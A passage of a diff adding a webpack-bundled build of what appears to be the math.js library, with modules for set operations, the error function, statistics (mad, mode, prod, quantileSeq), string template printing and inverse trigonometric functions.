var setSize = typed('setSize', { + 'Array | Matrix': function ArrayMatrix(a) { + return Array.isArray(a) ? flatten(a).length : flatten(a.toArray()).length; + }, + 'Array | Matrix, boolean': function ArrayMatrixBoolean(a, unique) { + if (unique === false || a.length === 0) { + return Array.isArray(a) ? flatten(a).length : flatten(a.toArray()).length; + } else { + var b = flatten(Array.isArray(a) ? a : a.toArray()).sort(compareNatural); + var count = 1; + + for (var i = 1; i < b.length; i++) { + if (compareNatural(b[i], b[i - 1]) !== 0) { + count++; + } + } + + return count; + } + } + }); + return setSize; +} + +exports.name = 'setSize'; +exports.factory = factory; + +/***/ }), +/* 313 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var concat = load(__webpack_require__(78)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var setIntersect = load(__webpack_require__(149)); + var setSymDifference = load(__webpack_require__(150)); + /** + * Create the union of two (multi)sets. + * Multi-dimension arrays will be converted to single-dimension arrays before the operation. + * + * Syntax: + * + * math.setUnion(set1, set2) + * + * Examples: + * + * math.setUnion([1, 2, 3, 4], [3, 4, 5, 6]) // returns [1, 2, 3, 4, 5, 6] + * math.setUnion([[1, 2], [3, 4]], [[3, 4], [5, 6]]) // returns [1, 2, 3, 4, 5, 6] + * + * See also: + * + * setIntersect, setDifference + * + * @param {Array | Matrix} a1 A (multi)set + * @param {Array | Matrix} a2 A (multi)set + * @return {Array | Matrix} The union of two (multi)sets + */ + + var setUnion = typed('setUnion', { + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(a1, a2) { + if (subset(size(a1), new MatrixIndex(0)) === 0) { + // if any of them is empty, return the other one + return flatten(a2); + } else if (subset(size(a2), new MatrixIndex(0)) === 0) { + return flatten(a1); + } + + var b1 = flatten(a1); + var b2 = flatten(a2); + return concat(setSymDifference(b1, b2), setIntersect(b1, b2)); + } + }); + return setUnion; +} + +exports.name = 'setUnion'; +exports.factory = factory; + +/***/ }), +/* 314 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(315)]; + +/***/ }), +/* 315 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var sign = __webpack_require__(3).sign; + +function factory(type, config, load, typed) { + /** + * Compute the erf function of a value using a rational Chebyshev + * approximations for different intervals of x. + * + * This is a translation of W. J. Cody's Fortran implementation from 1987 + * ( https://www.netlib.org/specfun/erf ). See the AMS publication + * "Rational Chebyshev Approximations for the Error Function" by W. J. Cody + * for an explanation of this process. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.erf(x) + * + * Examples: + * + * math.erf(0.2) // returns 0.22270258921047847 + * math.erf(-0.5) // returns -0.5204998778130465 + * math.erf(4) // returns 0.9999999845827421 + * + * @param {number | Array | Matrix} x A real number + * @return {number | Array | Matrix} The erf of `x` + */ + var erf = typed('erf', { + 'number': function number(x) { + var y = Math.abs(x); + + if (y >= MAX_NUM) { + return sign(x); + } + + if (y <= THRESH) { + return sign(x) * erf1(y); + } + + if (y <= 4.0) { + return sign(x) * (1 - erfc2(y)); + } + + return sign(x) * (1 - erfc3(y)); + }, + // TODO: Not sure if there's a way to guarantee some degree of accuracy here. + // Perhaps it would be best to set the precision of the number to that which + // is guaranteed by erf() + 'BigNumber': function BigNumber(n) { + return new type.BigNumber(erf(n.toNumber())); + }, + 'Array | Matrix': function ArrayMatrix(n) { + return deepMap(n, erf); + } // TODO: For complex numbers, use the approximation for the Faddeeva function + // from "More Efficient Computation of the Complex Error Function" (AMS) + + }); + /** + * Approximates the error function erf() for x <= 0.46875 using this function: + * n + * erf(x) = x * sum (p_j * x^(2j)) / (q_j * x^(2j)) + * j=0 + */ + + function erf1(y) { + var ysq = y * y; + var xnum = P[0][4] * ysq; + var xden = ysq; + var i; + + for (i = 0; i < 3; i += 1) { + xnum = (xnum + P[0][i]) * ysq; + xden = (xden + Q[0][i]) * ysq; + } + + return y * (xnum + P[0][3]) / (xden + Q[0][3]); + } + /** + * Approximates the complement of the error function erfc() for + * 0.46875 <= x <= 4.0 using this function: + * n + * erfc(x) = e^(-x^2) * sum (p_j * x^j) / (q_j * x^j) + * j=0 + */ + + + function erfc2(y) { + var xnum = P[1][8] * y; + var xden = y; + var i; + + for (i = 0; i < 7; i += 1) { + xnum = (xnum + P[1][i]) * y; + xden = (xden + Q[1][i]) * y; + } + + var result = (xnum + P[1][7]) / (xden + Q[1][7]); + var ysq = parseInt(y * 16) / 16; + var del = (y - ysq) * (y + ysq); + return Math.exp(-ysq * ysq) * Math.exp(-del) * result; + } + /** + * Approximates the complement of the error function erfc() for x > 4.0 using + * this function: + * + * erfc(x) = (e^(-x^2) / x) * [ 1/sqrt(pi) + + * n + * 1/(x^2) * sum (p_j * x^(-2j)) / (q_j * x^(-2j)) ] + * j=0 + */ + + + function erfc3(y) { + var ysq = 1 / (y * y); + var xnum = P[2][5] * ysq; + var xden = ysq; + var i; + + for (i = 0; i < 4; i += 1) { + xnum = (xnum + P[2][i]) * ysq; + xden = (xden + Q[2][i]) * ysq; + } + + var result = ysq * (xnum + P[2][4]) / (xden + Q[2][4]); + result = (SQRPI - result) / y; + ysq = parseInt(y * 16) / 16; + var del = (y - ysq) * (y + ysq); + return Math.exp(-ysq * ysq) * Math.exp(-del) * result; + } + + erf.toTex = { + 1: "erf\\left(${args[0]}\\right)" + }; + return erf; +} +/** + * Upper bound for the first approximation interval, 0 <= x <= THRESH + * @constant + */ + + +var THRESH = 0.46875; +/** + * Constant used by W. J. Cody's Fortran77 implementation to denote sqrt(pi) + * @constant + */ + +var SQRPI = 5.6418958354775628695e-1; +/** + * Coefficients for each term of the numerator sum (p_j) for each approximation + * interval (see W. J. Cody's paper for more details) + * @constant + */ + +var P = [[3.16112374387056560e00, 1.13864154151050156e02, 3.77485237685302021e02, 3.20937758913846947e03, 1.85777706184603153e-1], [5.64188496988670089e-1, 8.88314979438837594e00, 6.61191906371416295e01, 2.98635138197400131e02, 8.81952221241769090e02, 1.71204761263407058e03, 2.05107837782607147e03, 1.23033935479799725e03, 2.15311535474403846e-8], [3.05326634961232344e-1, 3.60344899949804439e-1, 1.25781726111229246e-1, 1.60837851487422766e-2, 6.58749161529837803e-4, 1.63153871373020978e-2]]; +/** + * Coefficients for each term of the denominator sum (q_j) for each approximation + * interval (see W. J. Cody's paper for more details) + * @constant + */ + +var Q = [[2.36012909523441209e01, 2.44024637934444173e02, 1.28261652607737228e03, 2.84423683343917062e03], [1.57449261107098347e01, 1.17693950891312499e02, 5.37181101862009858e02, 1.62138957456669019e03, 3.29079923573345963e03, 4.36261909014324716e03, 3.43936767414372164e03, 1.23033935480374942e03], [2.56852019228982242e00, 1.87295284992346047e00, 5.27905102951428412e-1, 6.05183413124413191e-2, 2.33520497626869185e-3]]; +/** + * Maximum/minimum safe numbers to input to erf() (in ES6+, this number is + * Number.[MAX|MIN]_SAFE_INTEGER). erf() for all numbers beyond this limit will + * return 1 + */ + +var MAX_NUM = Math.pow(2, 53); +exports.name = 'erf'; +exports.factory = factory; + +/***/ }), +/* 316 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(317), __webpack_require__(98), __webpack_require__(152), __webpack_require__(151), __webpack_require__(153), __webpack_require__(318), __webpack_require__(319), __webpack_require__(320), __webpack_require__(154), __webpack_require__(99), __webpack_require__(101)]; + +/***/ }), +/* 317 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var abs = load(__webpack_require__(25)); + var map = load(__webpack_require__(145)); + var median = load(__webpack_require__(151)); + var subtract = load(__webpack_require__(15)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the median absolute deviation of a matrix or a list with values. + * The median absolute deviation is defined as the median of the absolute + * deviations from the median. + * + * Syntax: + * + * math.mad(a, b, c, ...) + * math.mad(A) + * + * Examples: + * + * math.mad(10, 20, 30) // returns 10 + * math.mad([1, 2, 3]) // returns 1 + * math.mad([[1, 2, 3], [4, 5, 6]]) // returns 1.5 + * + * See also: + * + * median, mean, std, abs + * + * @param {Array | Matrix} array + * A single matrix or multiple scalar values. + * @return {*} The median absolute deviation. + */ + + var mad = typed('mad', { + // mad([a, b, c, d, ...]) + 'Array | Matrix': _mad, + // mad(a, b, c, d, ...) + '...': function _(args) { + return _mad(args); + } + }); + mad.toTex = undefined; // use default template + + return mad; + + function _mad(array) { + array = flatten(array.valueOf()); + + if (array.length === 0) { + throw new Error('Cannot calculate median absolute deviation (mad) of an empty array'); + } + + try { + var med = median(array); + return median(map(array, function (value) { + return abs(subtract(value, med)); + })); + } catch (err) { + if (err instanceof TypeError && err.message.indexOf('median') !== -1) { + throw new TypeError(err.message.replace('median', 'mad')); + } else { + throw improveErrorMessage(err, 'mad'); + } + } + } +} + +exports.name = 'mad'; +exports.factory = factory; + +/***/ }), +/* 318 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var isNaN = load(__webpack_require__(79)); + var isNumeric = load(__webpack_require__(52)); + /** + * Computes the mode of a set of numbers or a list with values(numbers or characters). + * If there are more than one modes, it returns a list of those values. + * + * Syntax: + * + * math.mode(a, b, c, ...) + * math.mode(A) + * + * Examples: + * + * math.mode(2, 1, 4, 3, 1) // returns [1] + * math.mode([1, 2.7, 3.2, 4, 2.7]) // returns [2.7] + * math.mode(1, 4, 6, 1, 6) // returns [1, 6] + * math.mode('a','a','b','c') // returns ["a"] + * math.mode(1, 1.5, 'abc') // returns [1, 1.5, "abc"] + * + * See also: + * + * median, + * mean + * + * @param {... *} args A single matrix + * @return {*} The mode of all values + */ + + var mode = typed('mode', { + 'Array | Matrix': _mode, + '...': function _(args) { + return _mode(args); + } + }); + return mode; + /** + * Calculates the mode in an 1-dimensional array + * @param {Array} values + * @return {Array} mode + * @private + */ + + function _mode(values) { + values = flatten(values.valueOf()); + var num = values.length; + + if (num === 0) { + throw new Error('Cannot calculate mode of an empty array'); + } + + var count = {}; + var mode = []; + var max = 0; + + for (var i = 0; i < values.length; i++) { + var value = values[i]; + + if (isNumeric(value) && isNaN(value)) { + throw new Error('Cannot calculate mode of an array containing NaN values'); + } + + if (!(value in count)) { + count[value] = 0; + } + + count[value]++; + + if (count[value] === max) { + mode.push(value); + } else if (count[value] > max) { + max = count[value]; + mode = [value]; + } + } + + return mode; + } +} + +exports.name = 'mode'; +exports.factory = factory; + +/***/ }), +/* 319 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepForEach = __webpack_require__(47); + +function factory(type, config, load, typed) { + var multiply = load(__webpack_require__(21)); + var improveErrorMessage = load(__webpack_require__(40)); + /** + * Compute the product of a matrix or a list with values. + * In case of a (multi dimensional) array or matrix, the sum of all + * elements will be calculated. + * + * Syntax: + * + * math.prod(a, b, c, ...) + * math.prod(A) + * + * Examples: + * + * math.multiply(2, 3) // returns 6 + * math.prod(2, 3) // returns 6 + * math.prod(2, 3, 4) // returns 24 + * math.prod([2, 3, 4]) // returns 24 + * math.prod([[2, 5], [4, 3]]) // returns 120 + * + * See also: + * + * mean, median, min, max, sum, std, var + * + * @param {... *} args A single matrix or or multiple scalar values + * @return {*} The product of all values + */ + + var prod = typed('prod', { + // prod([a, b, c, d, ...]) + 'Array | Matrix': _prod, + // prod([a, b, c, d, ...], dim) + 'Array | Matrix, number | BigNumber': function ArrayMatrixNumberBigNumber(array, dim) { + // TODO: implement prod(A, dim) + throw new Error('prod(A, dim) is not yet supported'); // return reduce(arguments[0], arguments[1], math.prod) + }, + // prod(a, b, c, d, ...) + '...': function _(args) { + return _prod(args); + } + }); + prod.toTex = undefined; // use default template + + return prod; + /** + * Recursively calculate the product of an n-dimensional array + * @param {Array} array + * @return {number} prod + * @private + */ + + function _prod(array) { + var prod; + deepForEach(array, function (value) { + try { + prod = prod === undefined ? value : multiply(prod, value); + } catch (err) { + throw improveErrorMessage(err, 'prod', value); + } + }); + + if (prod === undefined) { + throw new Error('Cannot calculate prod of an empty array'); + } + + return prod; + } +} + +exports.name = 'prod'; +exports.factory = factory; + +/***/ }), +/* 320 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var isNumber = __webpack_require__(3).isNumber; + +var flatten = __webpack_require__(2).flatten; + +var isCollection = __webpack_require__(35); + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var multiply = load(__webpack_require__(10)); + var partitionSelect = load(__webpack_require__(97)); + var compare = load(__webpack_require__(55)); + /** + * Compute the prob order quantile of a matrix or a list with values. + * The sequence is sorted and the middle value is returned. + * Supported types of sequence values are: Number, BigNumber, Unit + * Supported types of probability are: Number, BigNumber + * + * In case of a (multi dimensional) array or matrix, the prob order quantile + * of all elements will be calculated. + * + * Syntax: + * + * math.quantileSeq(A, prob[, sorted]) + * math.quantileSeq(A, [prob1, prob2, ...][, sorted]) + * math.quantileSeq(A, N[, sorted]) + * + * Examples: + * + * math.quantileSeq([3, -1, 5, 7], 0.5) // returns 4 + * math.quantileSeq([3, -1, 5, 7], [1/3, 2/3]) // returns [3, 5] + * math.quantileSeq([3, -1, 5, 7], 2) // returns [3, 5] + * math.quantileSeq([-1, 3, 5, 7], 0.5, true) // returns 4 + * + * See also: + * + * median, mean, min, max, sum, prod, std, var + * + * @param {Array, Matrix} data A single matrix or Array + * @param {Number, BigNumber, Array} probOrN prob is the order of the quantile, while N is + * the amount of evenly distributed steps of + * probabilities; only one of these options can + * be provided + * @param {Boolean} sorted=false is data sorted in ascending order + * @return {Number, BigNumber, Unit, Array} Quantile(s) + */ + + function quantileSeq(data, probOrN, sorted) { + var probArr, dataArr, one; + + if (arguments.length < 2 || arguments.length > 3) { + throw new SyntaxError('Function quantileSeq requires two or three parameters'); + } + + if (isCollection(data)) { + sorted = sorted || false; + + if (typeof sorted === 'boolean') { + dataArr = data.valueOf(); + + if (isNumber(probOrN)) { + if (probOrN < 0) { + throw new Error('N/prob must be non-negative'); + } + + if (probOrN <= 1) { + // quantileSeq([a, b, c, d, ...], prob[,sorted]) + return _quantileSeq(dataArr, probOrN, sorted); + } + + if (probOrN > 1) { + // quantileSeq([a, b, c, d, ...], N[,sorted]) + if (!isInteger(probOrN)) { + throw new Error('N must be a positive integer'); + } + + var nPlusOne = probOrN + 1; + probArr = new Array(probOrN); + + for (var i = 0; i < probOrN;) { + probArr[i] = _quantileSeq(dataArr, ++i / nPlusOne, sorted); + } + + return probArr; + } + } + + if (type.isBigNumber(probOrN)) { + if (probOrN.isNegative()) { + throw new Error('N/prob must be non-negative'); + } + + one = new probOrN.constructor(1); + + if (probOrN.lte(one)) { + // quantileSeq([a, b, c, d, ...], prob[,sorted]) + return new type.BigNumber(_quantileSeq(dataArr, probOrN, sorted)); + } + + if (probOrN.gt(one)) { + // quantileSeq([a, b, c, d, ...], N[,sorted]) + if (!probOrN.isInteger()) { + throw new Error('N must be a positive integer'); + } // largest possible Array length is 2^32-1 + // 2^32 < 10^15, thus safe conversion guaranteed + + + var intN = probOrN.toNumber(); + + if (intN > 4294967295) { + throw new Error('N must be less than or equal to 2^32-1, as that is the maximum length of an Array'); + } + + var _nPlusOne = new type.BigNumber(intN + 1); + + probArr = new Array(intN); + + for (var _i = 0; _i < intN;) { + probArr[_i] = new type.BigNumber(_quantileSeq(dataArr, new type.BigNumber(++_i).div(_nPlusOne), sorted)); + } + + return probArr; + } + } + + if (Array.isArray(probOrN)) { + // quantileSeq([a, b, c, d, ...], [prob1, prob2, ...][,sorted]) + probArr = new Array(probOrN.length); + + for (var _i2 = 0; _i2 < probArr.length; ++_i2) { + var currProb = probOrN[_i2]; + + if (isNumber(currProb)) { + if (currProb < 0 || currProb > 1) { + throw new Error('Probability must be between 0 and 1, inclusive'); + } + } else if (type.isBigNumber(currProb)) { + one = new currProb.constructor(1); + + if (currProb.isNegative() || currProb.gt(one)) { + throw new Error('Probability must be between 0 and 1, inclusive'); + } + } else { + throw new TypeError('Unexpected type of argument in function quantileSeq'); // FIXME: becomes redundant when converted to typed-function + } + + probArr[_i2] = _quantileSeq(dataArr, currProb, sorted); + } + + return probArr; + } + + throw new TypeError('Unexpected type of argument in function quantileSeq'); // FIXME: becomes redundant when converted to typed-function + } + + throw new TypeError('Unexpected type of argument in function quantileSeq'); // FIXME: becomes redundant when converted to typed-function + } + + throw new TypeError('Unexpected type of argument in function quantileSeq'); // FIXME: becomes redundant when converted to typed-function + } + /** + * Calculate the prob order quantile of an n-dimensional array. + * + * @param {Array} array + * @param {Number, BigNumber} prob + * @param {Boolean} sorted + * @return {Number, BigNumber, Unit} prob order quantile + * @private + */ + + + function _quantileSeq(array, prob, sorted) { + var flat = flatten(array); + var len = flat.length; + + if (len === 0) { + throw new Error('Cannot calculate quantile of an empty sequence'); + } + + if (isNumber(prob)) { + var _index = prob * (len - 1); + + var _fracPart = _index % 1; + + if (_fracPart === 0) { + var value = sorted ? flat[_index] : partitionSelect(flat, _index); + validate(value); + return value; + } + + var _integerPart = Math.floor(_index); + + var _left; + + var _right; + + if (sorted) { + _left = flat[_integerPart]; + _right = flat[_integerPart + 1]; + } else { + _right = partitionSelect(flat, _integerPart + 1); // max of partition is kth largest + + _left = flat[_integerPart]; + + for (var i = 0; i < _integerPart; ++i) { + if (compare(flat[i], _left) > 0) { + _left = flat[i]; + } + } + } + + validate(_left); + validate(_right); // Q(prob) = (1-f)*A[floor(index)] + f*A[floor(index)+1] + + return add(multiply(_left, 1 - _fracPart), multiply(_right, _fracPart)); + } // If prob is a BigNumber + + + var index = prob.times(len - 1); + + if (index.isInteger()) { + index = index.toNumber(); + + var _value = sorted ? flat[index] : partitionSelect(flat, index); + + validate(_value); + return _value; + } + + var integerPart = index.floor(); + var fracPart = index.minus(integerPart); + var integerPartNumber = integerPart.toNumber(); + var left; + var right; + + if (sorted) { + left = flat[integerPartNumber]; + right = flat[integerPartNumber + 1]; + } else { + right = partitionSelect(flat, integerPartNumber + 1); // max of partition is kth largest + + left = flat[integerPartNumber]; + + for (var _i3 = 0; _i3 < integerPartNumber; ++_i3) { + if (compare(flat[_i3], left) > 0) { + left = flat[_i3]; + } + } + } + + validate(left); + validate(right); // Q(prob) = (1-f)*A[floor(index)] + f*A[floor(index)+1] + + var one = new fracPart.constructor(1); + return add(multiply(left, one.minus(fracPart)), multiply(right, fracPart)); + } + /** + * Check if array value types are valid, throw error otherwise. + * @param {number | BigNumber | Unit} x + * @param {number | BigNumber | Unit} x + * @private + */ + + + var validate = typed({ + 'number | BigNumber | Unit': function numberBigNumberUnit(x) { + return x; + } + }); + return quantileSeq; +} + +exports.name = 'quantileSeq'; +exports.factory = factory; + +/***/ }), +/* 321 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(112), __webpack_require__(322)]; + +/***/ }), +/* 322 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isString = __webpack_require__(9).isString; + +var format = __webpack_require__(9).format; + +function factory(type, config, load, typed) { + /** + * Interpolate values into a string template. + * + * Syntax: + * + * math.print(template, values) + * math.print(template, values, precision) + * math.print(template, values, options) + * + * Example usage: + * + * // the following outputs: 'Lucy is 5 years old' + * math.print('Lucy is $age years old', {age: 5}) + * + * // the following outputs: 'The value of pi is 3.141592654' + * math.print('The value of pi is $pi', {pi: math.pi}, 10) + * + * // the following outputs: 'hello Mary! The date is 2013-03-23' + * math.print('Hello $user.name! The date is $date', { + * user: { + * name: 'Mary', + * }, + * date: new Date(2013, 2, 23).toISOString().substring(0, 10) + * }) + * + * // the following outputs: 'My favorite fruits are apples and bananas !' + * math.print('My favorite fruits are $0 and $1 !', [ + * 'apples', + * 'bananas' + * ]) + * + * See also: + * + * format + * + * @param {string} template A string containing variable placeholders. + * @param {Object | Array | Matrix} values An object or array containing variables + * which will be filled in in the template. + * @param {number | Object} [options] Formatting options, + * or the number of digits to format numbers. + * See function math.format for a description + * of all options. + * @return {string} Interpolated string + */ + var print = typed('print', { + // note: Matrix will be converted automatically to an Array + 'string, Object | Array': _print, + 'string, Object | Array, number | Object': _print + }); + print.toTex = undefined; // use default template + + return print; +} +/** + * Interpolate values into a string template. + * @param {string} template + * @param {Object} values + * @param {number | Object} [options] + * @returns {string} Interpolated string + * @private + */ + + +function _print(template, values, options) { + return template.replace(/\$([\w.]+)/g, function (original, key) { + var keys = key.split('.'); + var value = values[keys.shift()]; + + while (keys.length && value !== undefined) { + var k = keys.shift(); + value = k ? value[k] : value + '.'; + } + + if (value !== undefined) { + if (!isString(value)) { + return format(value, options); + } else { + return value; + } + } + + return original; + }); +} + +exports.name = 'print'; +exports.factory = factory; + +/***/ }), +/* 323 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(324), __webpack_require__(325), __webpack_require__(326), __webpack_require__(327), __webpack_require__(328), __webpack_require__(329), __webpack_require__(330), __webpack_require__(331), __webpack_require__(332), __webpack_require__(333), __webpack_require__(334), __webpack_require__(335), __webpack_require__(336), __webpack_require__(337), __webpack_require__(338), __webpack_require__(339), __webpack_require__(340), __webpack_require__(341), __webpack_require__(342), __webpack_require__(343), __webpack_require__(344), __webpack_require__(345), __webpack_require__(346), __webpack_require__(347), __webpack_require__(348)]; + +/***/ }), +/* 324 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the inverse cosine of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.acos(x) + * + * Examples: + * + * math.acos(0.5) // returns number 1.0471975511965979 + * math.acos(math.cos(1.5)) // returns number 1.5 + * + * math.acos(2) // returns Complex 0 + 1.3169578969248166 i + * + * See also: + * + * cos, atan, asin + * + * @param {number | BigNumber | Complex | Array | Matrix} x Function input + * @return {number | BigNumber | Complex | Array | Matrix} The arc cosine of x + */ + var acos = typed('acos', { + 'number': function number(x) { + if (x >= -1 && x <= 1 || config.predictable) { + return Math.acos(x); + } else { + return new type.Complex(x, 0).acos(); + } + }, + 'Complex': function Complex(x) { + return x.acos(); + }, + 'BigNumber': function BigNumber(x) { + return x.acos(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, acos); + } + }); + acos.toTex = { + 1: "\\cos^{-1}\\left(${args[0]}\\right)" + }; + return acos; +} + +exports.name = 'acos'; +exports.factory = factory; + +/***/ }), +/* 325 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic arccos of a value, + * defined as `acosh(x) = ln(sqrt(x^2 - 1) + x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.acosh(x) + * + * Examples: + * + * math.acosh(1.5) // returns 0.9624236501192069 + * + * See also: + * + * cosh, asinh, atanh + * + * @param {number | Complex | Unit | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic arccosine of x + */ + var acosh = typed('acosh', { + 'number': function number(x) { + if (x >= 1 || config.predictable) { + return _acosh(x); + } + + if (x <= -1) { + return new type.Complex(Math.log(Math.sqrt(x * x - 1) - x), Math.PI); + } + + return new type.Complex(x, 0).acosh(); + }, + 'Complex': function Complex(x) { + return x.acosh(); + }, + 'BigNumber': function BigNumber(x) { + return x.acosh(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, acosh); + } + }); + acosh.toTex = { + 1: "\\cosh^{-1}\\left(${args[0]}\\right)" + }; + return acosh; +} +/** + * Calculate the hyperbolic arccos of a number + * @param {number} x + * @return {number} + * @private + */ + + +var _acosh = Math.acosh || function (x) { + return Math.log(Math.sqrt(x * x - 1) + x); +}; + +exports.name = 'acosh'; +exports.factory = factory; + +/***/ }), +/* 326 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the inverse cotangent of a value, defined as `acot(x) = atan(1/x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.acot(x) + * + * Examples: + * + * math.acot(0.5) // returns number 0.4636476090008061 + * math.acot(math.cot(1.5)) // returns number 1.5 + * + * math.acot(2) // returns Complex 1.5707963267948966 -1.3169578969248166 i + * + * See also: + * + * cot, atan + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} The arc cotangent of x + */ + var acot = typed('acot', { + 'number': function number(x) { + return Math.atan(1 / x); + }, + 'Complex': function Complex(x) { + return x.acot(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x).atan(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, acot); + } + }); + acot.toTex = { + 1: "\\cot^{-1}\\left(${args[0]}\\right)" + }; + return acot; +} + +exports.name = 'acot'; +exports.factory = factory; + +/***/ }), +/* 327 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic arccotangent of a value, + * defined as `acoth(x) = atanh(1/x) = (ln((x+1)/x) + ln(x/(x-1))) / 2`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.acoth(x) + * + * Examples: + * + * math.acoth(0.5) // returns 0.8047189562170503 + * + * See also: + * + * acsch, asech + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic arccotangent of x + */ + var acoth = typed('acoth', { + 'number': function number(x) { + if (x >= 1 || x <= -1 || config.predictable) { + return isFinite(x) ? (Math.log((x + 1) / x) + Math.log(x / (x - 1))) / 2 : 0; + } + + return new type.Complex(x, 0).acoth(); + }, + 'Complex': function Complex(x) { + return x.acoth(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x).atanh(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, acoth); + } + }); + acoth.toTex = { + 1: "\\coth^{-1}\\left(${args[0]}\\right)" + }; + return acoth; +} + +exports.name = 'acoth'; +exports.factory = factory; + +/***/ }), +/* 328 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the inverse cosecant of a value, defined as `acsc(x) = asin(1/x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.acsc(x) + * + * Examples: + * + * math.acsc(0.5) // returns number 0.5235987755982989 + * math.acsc(math.csc(1.5)) // returns number ~1.5 + * + * math.acsc(2) // returns Complex 1.5707963267948966 -1.3169578969248166 i + * + * See also: + * + * csc, asin, asec + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} The arc cosecant of x + */ + var acsc = typed('acsc', { + 'number': function number(x) { + if (x <= -1 || x >= 1 || config.predictable) { + return Math.asin(1 / x); + } + + return new type.Complex(x, 0).acsc(); + }, + 'Complex': function Complex(x) { + return x.acsc(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x).asin(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, acsc); + } + }); + acsc.toTex = { + 1: "\\csc^{-1}\\left(${args[0]}\\right)" + }; + return acsc; +} + +exports.name = 'acsc'; +exports.factory = factory; + +/***/ }), +/* 329 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the hyperbolic arccosecant of a value, + * defined as `acsch(x) = asinh(1/x) = ln(1/x + sqrt(1/x^2 + 1))`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.acsch(x) + * + * Examples: + * + * math.acsch(0.5) // returns 1.4436354751788103 + * + * See also: + * + * asech, acoth + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} Hyperbolic arccosecant of x + */ + var acsch = typed('acsch', { + 'number': function number(x) { + x = 1 / x; + return Math.log(x + Math.sqrt(x * x + 1)); + }, + 'Complex': function Complex(x) { + return x.acsch(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x).asinh(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, acsch); + } + }); + acsch.toTex = { + 1: "\\mathrm{csch}^{-1}\\left(${args[0]}\\right)" + }; + return acsch; +} + +exports.name = 'acsch'; +exports.factory = factory; + +/***/ }), +/* 330 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Calculate the inverse secant of a value. Defined as `asec(x) = acos(1/x)`. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.asec(x) + * + * Examples: + * + * math.asec(0.5) // returns 1.0471975511965979 + * math.asec(math.sec(1.5)) // returns 1.5 + * + * math.asec(2) // returns 0 + 1.3169578969248166 i + * + * See also: + * + * acos, acot, acsc + * + * @param {number | Complex | Array | Matrix} x Function input + * @return {number | Complex | Array | Matrix} The arc secant of x + */ + var asec = typed('asec', { + 'number': function number(x) { + if (x <= -1 || x >= 1 || config.predictable) { + return Math.acos(1 / x); + } + + return new type.Complex(x, 0).asec(); + }, + 'Complex': function Complex(x) { + return x.asec(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(1).div(x).acos(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, asec); + } + }); + asec.toTex = { + 